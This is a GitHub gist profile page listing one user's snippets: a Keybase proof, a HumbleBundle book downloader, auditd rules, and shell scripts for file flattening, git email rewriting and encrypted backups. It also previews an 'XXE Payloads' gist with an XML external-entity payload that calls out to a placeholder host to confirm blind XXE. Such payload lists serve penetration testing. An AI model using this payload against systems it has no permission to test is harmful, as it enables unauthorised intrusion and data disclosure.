Skip to content

Instantly share code, notes, and snippets.

View droptableuser's full-sized avatar
🤓

Markus Scharitzer droptableuser

🤓
View GitHub Profile

Keybase proof

I hereby claim:

  • I am droptableuser on github.
  • I am droptableuser (https://keybase.io/droptableuser) on keybase.
  • I have a public key ASBixk0Wpqa4XdeTC8eDF-N6_HNX7eiejvHnFC5joQSHIQo

To claim this, I am signing this object:

@droptableuser
droptableuser / README.md
Created August 29, 2018 07:07 — forked from santiagobasulto/README.md
Download HumbleBundle books in batch with a simple Python script.

Download HumbleBundle books

This is a quick Python script I wrote to download HumbleBundle books in batch. I bought the amazing Machine Learning by O'Reilly bundle. There were 15 books to download, with 3 different file formats per book. So I scratched a quick script to download all of them in batch.

(Final Result: books downloaded)

@droptableuser
droptableuser / audit.rules
Created August 5, 2018 12:18 — forked from Neo23x0/audit.rules
Linux Auditd Best Practice Configuration
# ___ ___ __ __
# / | __ ______/ (_) /_____/ /
# / /| |/ / / / __ / / __/ __ /
# / ___ / /_/ / /_/ / / /_/ /_/ /
# /_/ |_\__,_/\__,_/_/\__/\__,_/
#
# Linux Audit Daemon - Best Practice Configuration
# /etc/audit/audit.rules
#
# Compiled by Florian Roth
@droptableuser
droptableuser / XXE_payloads
Created June 11, 2018 13:13 — forked from staaldraad/XXE_payloads
XXE Payloads
--------------------------------------------------------------
Vanilla, used to verify outbound xxe or blind xxe
--------------------------------------------------------------
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "http://x.x.x.x:443/test.txt">
]>
<r>&sp;</r>
@droptableuser
droptableuser / flat-filestructure.sh
Last active August 29, 2015 14:21
creates a flat file structure for software that can't handle directory structures
#!/bin/sh
val=`find -name "*.html"`
mkdir extract
for i in $val
do
cp $i extract/$(< /dev/urandom tr -dc a-z-0-9 | head -c${1:-10};echo;)_$(basename $i)
done
#!/bin/sh
git filter-branch -f --env-filter '
OLD_EMAIL="your-old-email@example.com"
CORRECT_NAME="Your Correct Name"
CORRECT_EMAIL="your-correct-email@example.com"
if [ "$GIT_COMMITTER_EMAIL" = "$OLD_EMAIL" ]
then
@droptableuser
droptableuser / encrypted backups
Last active August 29, 2015 14:14
store backups on an untrusted share
#!/bin/bash
cd /backup/snapshot
for i in $(ls -A)
do
cd $i
ssh backup@$i \ 'tar zcf - /etc /opt' | gpg -e -r backup > $i.tar.gz
cd ..
done